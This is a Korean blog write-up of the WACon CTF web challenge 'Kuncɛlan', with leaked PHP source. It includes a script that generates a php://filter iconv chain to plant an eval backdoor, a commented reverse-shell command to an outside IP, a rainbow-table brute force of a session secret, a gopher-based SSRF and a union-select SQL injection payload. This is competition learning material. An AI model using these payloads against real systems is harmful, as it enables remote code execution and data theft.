Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

ash3r & dmawhwhd

Wacon - Kuncɛlan 본문

CTF/web

Wacon - Kuncɛlan

ash3r & dmawhwhd 2022. 6. 28. 01:34

예선 시간에 문제를 거의 다 풀었는데 아쉬워서 여러 풀이들을 공부하여 write up을 작성해봤습니다..!!

문제 descryption입니다.

 

문제에서 제공되는 http://114.203.209.112:8000에 접속한 모습입니다.

guest, guest로 로그인 하게 되면 curl을 보낼 수 있는 기능이 있습니다. 하지만 localhost이어야 가능하다고 알려줍니다.

http://114.203.209.112:8000/index.phtml?fun_004ded7246=load url이 이렇게 생긴 것을 보아 혹시 include인가 싶어 index를 넣어봤습니다. 

무한루프를 도는 것을 보아 include가 맞다고 생각했습니다. index만 넣었을 때 include가 되었기에 .phtml이 뒤에 붙는 것을 예측할 수 있습니다. 그래서 php://filter/convert.base64-encode/resource=index를 통해 소스 leak을 하였습니다.

<?php
error_reporting(0);
session_start();

if(!isset($_SESSION['username'])) {
    header('location: ./login.php');
    die();
}
?>



<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="favicon.png">

    <title>Home</title>

    <link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/">

    <!-- Bootstrap core CSS -->
    <link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- Custom styles for this template -->
    <link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet">
  </head>

  <body>

    <header>
      <!-- Fixed navbar -->
      <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
        <a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
          <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarCollapse">
          <ul class="navbar-nav mr-auto">
            <li class="nav-item active">
              <a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a>
            </li>
            <li class="nav-item active">
              <a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a>
            </li>
          </ul>
          <h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> 👋</h5>
          <h5><a class="nav-link" href="./logout.php">Logout</a></h5>
        </div>
      </nav>
    </header>

    <!-- Begin page content -->
    <?php 
    if (isset($_GET["fun_004ded7246"])) {
      if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}
      else {
      ?>
                      <main role="main" class="container">
                      <h1 class="mt-5">They said ?</h1>
                      <p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p>
                      </main>
      <?php
      }
    }
    else{
      header('location: ./index.phtml?fun_004ded7246');
      die();
    }
    ?>

    <footer class="footer">
      <div class="container">
        <span class="text-muted">You can totally do this.</span>
      </div>
    </footer>

    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
    <script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script>
    <script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script>
  </body>
</html>
<?php

// LOCATION : ./internal_e0134cd5a917.php

error_reporting(0);
session_start();

if (!isset($_SESSION['username']))
{
    header('location: ./login.php');
    die();
}

if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
    die("only in include");
}

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
            || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
            || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return "IP not allowed or host error"; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return "Error !";
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = "";

if (isset($_POST['url']) && !empty($_POST['url']))
{
    if ( 
        $IP === "127.0.0.1" 
        & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        & strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = "Only the administrator can test this function from 127.0.0.1!";
    }

}

?>

<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?> 
</main>

index.phtml과 load.phtml을 leak할 수 있습니다. index.phtml 소스를 보면 

if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}

그냥 아무런 필터 없이 include를 해줍니다. 따라서 rce가 가능합니다. unintend 풀이인데 hxp ctf 2021에서 나온 풀이인데 php://filter에서 filter chain을 통해 php backdoor를 생성할 수 있습니다. 단, include할 파일이 존재해야 한다는 조건이 있습니다. 이 취약점의 주요 원인은 convert.iconv.UTF8.CSISO2022KR로 encoding을 하면 \x1b$)c가 확정적으로 앞에 나옵니다. 이를 통해 원하는 글자를 생성하게 되는데 convert.base64-decode는 printable하지 못한 문자들을 다 지워주기에 encoding을 통해 생성된 문자들을 printable하게 바꿔줄 수 있습니다. \x1b$)을 encoding을 하며 문자를 만드는 filter chain은 구글링을 통해 찾아 풀이했습니다. filter chain을 찾는 코드는 짜려했지만 inconv에서 지원하는 encoding 방식이 너무 많아 아직 어떻게 효율적으로 생성할 지 모르겠어서 못 짰습니다.

 

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

 

Solving "includer's revenge" from hxp ctf 2021 without controlling any files

Solving "includer's revenge" from hxp ctf 2021 without controlling any files - writeup.md

gist.github.com

import requests
import base64

url = "http://114.203.209.112/index.phtml"
file_to_use ="/var/www/html/load"
command = "ls"#"bash -i >& /dev/tcp/1.225.29.95/9999 0>&1"

#<?=`$_GET[0]`;;?>
base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"#"PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    '/' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' : 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
    '6' : 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' : 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' : 'convert.iconv.UTF8.CSISO2022KR',
    'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' : 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' : 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' : 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' : 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' : 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'S' : 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'Z' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' : 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' : 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' : 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' : 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'j' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' : 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' : 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' : 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' : 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' : 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' : 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
}


# generate some garbage base64
filters = "convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

#r = requests.get(url, params={
#    "0": command,
#    "fun_004ded7246": final_payload
#})

print(final_payload)

다음과 같은 코드를 통해 php backdoor 코드를 생성할 수 있습니다. 

생성한 payload를 입력하면 rce가 가능해집니다.

<?php

$FLAG = "[+] <strong>NEXT FLAG LOCATION:</strong> ./internal_1d607d2c193b.php";

if ($_SERVER["REMOTE_ADDR"] !== "127.0.0.1") {
    $FLAG="from localhost only !";
}


?>
<main role="main" class="container">
<h1 class="mt-5">FLAG ?</h1>
<p class="lead"><?php print_r($FLAG); ?> </p>

internal_e0134cd5a917.php가 있어 확인해보니 단순히 internal_1d607d2c193b.php로 가라고 얘기해 주었습니다.

<?php

error_reporting(0);

require_once('./db2.php');

$out = "";

if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="Private"');
    header('HTTP/1.0 401 Unauthorized');
    die('Header `Authorization: Basic is not set, Sorry :)!');
} 

else {
	if (empty($_POST)){die('POST EMPTY!');} 
		
		$username = trim($_SERVER['PHP_AUTH_USER']);
		$password = trim($_SERVER['PHP_AUTH_PW']);
		$out= $username;
	    $sql = "SELECT * FROM auth_user WHERE login='". $username ."' and password='". $password ."'";
	    $res = $conn->query($sql);
	    if($res) {
	    	if($res->num_rows == 0){die('SQL : user not found');}
	    	if($_SERVER['REMOTE_ADDR']!='127.0.0.1') die('from localhost only !');
	        $user = $res->fetch_assoc();
	        $data = $user["login"];
	        $out = "Hello $data</br>PART 2 FLAG: _ffabcdbc}";
	    } else {
	        $out = "Error message : ".$conn->error;
	    }
}
?>

part2 flag가 들어있었고 sqli가 터지는 것을 발견할 수 있었습니다. 그래서 db에 플래그가 존재할 것이라고 생각하여 아까 생성한 backdoor code가

<?php eval($_GET[1]);?>

db와 연결하고 sql query를 실행해 주는 코드를 입력하였습니다.

require_once(%27/var/www/html/db.php%27);$sql="select%20*%20from%20users";$res=$conn->query($sql);$user=$res->fetch_assoc();var_dump($user);

이와 같이 입력하여 part1 플래그까지 구했습니다. 

flag: WACon{Try_using_Gophhhher_ffabcdbc}

 

intend 풀이

 

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
            || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
            || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return "IP not allowed or host error"; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return "Error !";
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = "";

if (isset($_POST['url']) && !empty($_POST['url']))
{
    if ( 
        $IP === "127.0.0.1" 
        & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        & strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = "Only the administrator can test this function from 127.0.0.1!";
    }

}

curl 요청을 보내려면 3가지 조건을 만족해야합니다. $SERVER['HTTP_X_HTTP_HOST_OVERRIDE']가 127.0.0.1 이어야하고 $_COOKIE['USER']가 admin이어야하며 $_COOKIE['X-TOKEN']이 hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])이 $COOKIE['X-TOKEN']과 같아야합니다. 마지막 조건을 만족되기 위해서는 X-SECRET을 알아내는 방법과 hash length extension attack이 있습니다. 

 

첫째, hash length extension attack

 

1. Key의 길이를 알아야 합니다.

2. salt + msg의 형태

3. salt + msg의 hash값을 알아야 합니다.

4. 해시 알고리즘의 종류가 Merkle-Damgard construction에 기반한 것들(MD5, SHA-1, SHA-2, SHA-256~~)

 

이 조건들을 모두 만족하기에 공격이 가능합니다. hashpump라는 tool을 이용하여 payload를 작성했습니다.

 

 

둘째, X-SECRET 알아내기

 

X-SECRET이 구해지는 이유는 경우의 수가 2147483647밖에 안되기에 일정량의 레인보우 테이블을 만들고 X-TOKEN이 없으면 X-SECRET을 reset해주기에 계속 reset시켜 레인보우 테이블에 들어있는 hash값을 찾으면 되기에 꾀나 빠르게 찾을 수 있습니다. 

 

레인보우 테이블 생성 코드

import hashlib
from threading import Thread


fp = open("res2.txt", "w")

def work(start, end):
    for i in range(start, end):
        secret = hashlib.sha1(str(i)).hexdigest()[:20]
        res = hashlib.sha256(secret+"guest").hexdigest()
        fp.write(secret + " " + res +"\n")
 
if __name__ == "__main__":
    START, END = 0, 2147483648
    half = END // 2
    half_l = END // 4
    half_r = half + half_l
    th1 = Thread(target=work, args=(START, half_l))
    th2 = Thread(target=work, args=(half_l, half))
    th3 = Thread(target=work, args=(half, half_r))
    th4 = Thread(target=work, args=(half_r, END))
    
    th1.start()
    th2.start()
    th3.start()
    th4.start()

레인보우 테이블에 있는 hash 찾는 코드

import requests


r = requests.session()
cookies = {"PHPSESSID":"5nm666jfdlolpcvo89pa284ue6", "USER":"admin"}
headers = {"X-HTTP-HOST-OVERRIDE":"127.0.0.1"}

secret = "47ada67c854c6afb4283"

fp = open('res2.txt','r')
data =fp.read()
print 1
while True:
    r.get("http://114.203.209.112:8000/logout.php", headers=headers, cookies=cookies)
    r.post("http://114.203.209.112:8000/login.php", headers=headers, cookies=cookies, data={"username":"guest", "password":"guest"})
    res = r.get("http://114.203.209.112:8000/index.phtml?fun_004ded7246=load", headers=headers, cookies=cookies)
    hash = res.headers['Set-Cookie'].split('=')[1]
    if hash in data:
        print hash
        break

조건을 만족시키면 curl을 실행시킬 수 있습니다. 

$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);

load.phtml의 curl 옵션을 보면 MAXREDIRS가 1이고 FOLLOWLOCATION이 1이어서 한번 redirect 할 수 있습니다. 그래서 ip check해주는 부분은 의미가 없어집니다. 제 서버에서 Location: http://127.0.0.1:8000/internal_e0134cd5a917.php로 설정해주어 요청을 보냈습니다.

 

하지만 결과는 Error였습니다. http://114.203.209.112:8000로도 해보았지만 curl에서 요청을 받아오지 못하는 것을 확인했습니다. 그래서 저는 gopher를 사용했습니다. gopher는 포트 80으로 해주어야 하고 \r\n은 header()에서 막기에 url encoding을 해주어야합니다.

이와 같이 설정을 해준 후 요청을 보내보니 internal_1d607d2c193b.php로 가라고 하여서 바꿔서 요청을 보냈습니다. 요청을 보내니 401 Unauthorized Header `Authorization: Basic is not set, Sorry :)!  가 나타나는 것을 보아 Authorization header를 추가해주어 보내줬습니다. 그 다음은 POST가 아니라기에 POST로 바꾸어 요청을 보냈습니다. 

user not found라는 에러를 발견하고 이는 sqli가 발생할 수 있겠다 싶어 공격을 해보았더니 가능했고 union select를 통해 information_schema를 데이터를 뽑고 table_name과 column_name들을 알아내어 최종적으로 -1' union select 1,group_concat(password),1 from auth_user#:123 라는 payload로 플래그를 뽑았습니다. 

flag: WACon{Try_using_Gophhhher_ffabcdbc}

 
 
 
 

'CTF > web' 카테고리의 다른 글

Wacon - ppower  (0) 2022.07.05
Wacon - yet_another_baby_web  (0) 2022.06.28
Wacon - sqqqli  (0) 2022.06.28